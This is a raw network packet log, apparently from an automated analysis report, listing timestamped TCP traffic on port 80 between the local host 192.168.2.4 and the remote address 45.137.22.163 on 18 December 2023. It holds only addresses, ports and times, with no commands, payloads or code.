Dec 18, 2023 14:31:20.477956057 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.478029966 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.478111982 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.478125095 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.478162050 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.478198051 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.478261948 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.478307962 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.478312969 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.478375912 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.478425980 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.478426933 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.727920055 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.727941036 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.727953911 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.727968931 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.727979898 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.727989912 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.728028059 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.728033066 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728079081 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728117943 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.728132963 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728193998 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728241920 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.728245020 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728259087 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728308916 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.728328943 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728342056 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728385925 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.728388071 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728501081 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728543997 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.728569031 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728620052 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728679895 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.728710890 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728758097 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728795052 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728802919 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.728888035 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.728930950 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.729013920 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729099035 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729139090 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729175091 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729187965 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.729222059 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729264975 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.729298115 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729326963 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729367018 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.729407072 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729517937 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729556084 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.729581118 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729640961 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729682922 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.729707003 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729765892 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729777098 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.729814053 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.969286919 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969322920 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969363928 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969423056 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969445944 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969465017 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.969491959 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969528913 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969588995 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969633102 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.969634056 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969633102 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.969644070 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.969659090 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969700098 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969707966 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.969784021 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969830990 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.969850063 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969898939 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.969939947 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.969968081 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970043898 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970089912 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.970110893 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970175028 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970217943 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.970238924 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970308065 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970354080 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.970387936 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970475912 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970523119 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.970546961 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970635891 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970668077 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970680952 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.970731020 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970777988 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970824003 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.970858097 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970895052 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.970937967 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971039057 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971105099 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971151114 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971160889 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971210003 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971245050 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971252918 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971302986 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971322060 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971345901 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971371889 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971407890 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971417904 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971463919 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971493959 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971508980 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971534014 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971585989 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971591949 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971616030 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971646070 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971668005 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971688032 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971734047 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971741915 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971801043 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971839905 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971852064 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.971914053 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971945047 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.971957922 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.972023964 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972068071 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972099066 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972112894 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.972146988 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972187042 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972193956 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.972229958 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972259045 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972275019 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.972299099 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972346067 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.972368956 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972394943 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972440958 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.972444057 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972456932 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972495079 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.972502947 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972589016 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972601891 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972615957 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972626925 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:20.972640038 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:20.972670078 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.216592073 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216610909 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216636896 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216680050 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.216689110 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216702938 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216746092 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216761112 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216778040 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.216804028 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.216830015 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216842890 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216855049 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216866970 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216875076 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.216911077 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.216943979 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216957092 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216968060 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216980934 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216991901 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.216993093 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217015028 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217025995 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217037916 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217040062 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217062950 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217075109 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217091084 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217104912 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217117071 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217128992 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217175007 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217181921 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217214108 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217258930 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217264891 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217277050 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217325926 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217329025 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217369080 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217381954 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217418909 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217438936 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217462063 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217492104 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217535019 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217576027 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217602968 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217633963 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217690945 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217746019 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217758894 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217792988 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217804909 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217813969 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217845917 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217850924 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217864990 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217876911 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217889071 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217900991 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217940092 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217943907 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.217956066 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217969894 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.217993975 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218005896 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218017101 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218028069 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218029976 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218043089 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218050003 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218075991 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218089104 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218102932 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218112946 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218144894 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218152046 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218166113 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218172073 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218198061 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218211889 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218231916 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218242884 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218285084 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218291998 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218359947 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218403101 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218411922 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218416929 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218440056 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218466043 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218487978 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218533039 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218540907 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218554974 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218611956 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218622923 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218625069 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218684912 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218688011 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218702078 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218729019 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218748093 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218774080 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218796968 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218821049 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218885899 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218899012 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218930960 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218940973 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.218945026 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218957901 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.218985081 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219005108 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219005108 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219017982 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219029903 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219063044 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219065905 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219098091 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219104052 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219111919 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219135046 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219172955 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219176054 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219189882 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219229937 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219271898 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219285011 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219320059 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219330072 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219353914 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219367027 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219377041 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219413996 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219413996 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219481945 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219494104 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219532967 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219554901 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219609976 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219616890 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219631910 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219641924 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219654083 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219676971 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219677925 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219708920 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219718933 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219733000 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219754934 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219784975 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219801903 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219810963 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219815016 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219836950 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219847918 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219865084 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.219927073 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219939947 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219949961 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219961882 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219974995 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.219985962 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.220014095 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.220020056 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220037937 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220050097 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220062017 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220082998 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220087051 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.220105886 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.220139027 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220186949 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220197916 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.220231056 CET	80	49730	45.137.22.163	192.168.2.4
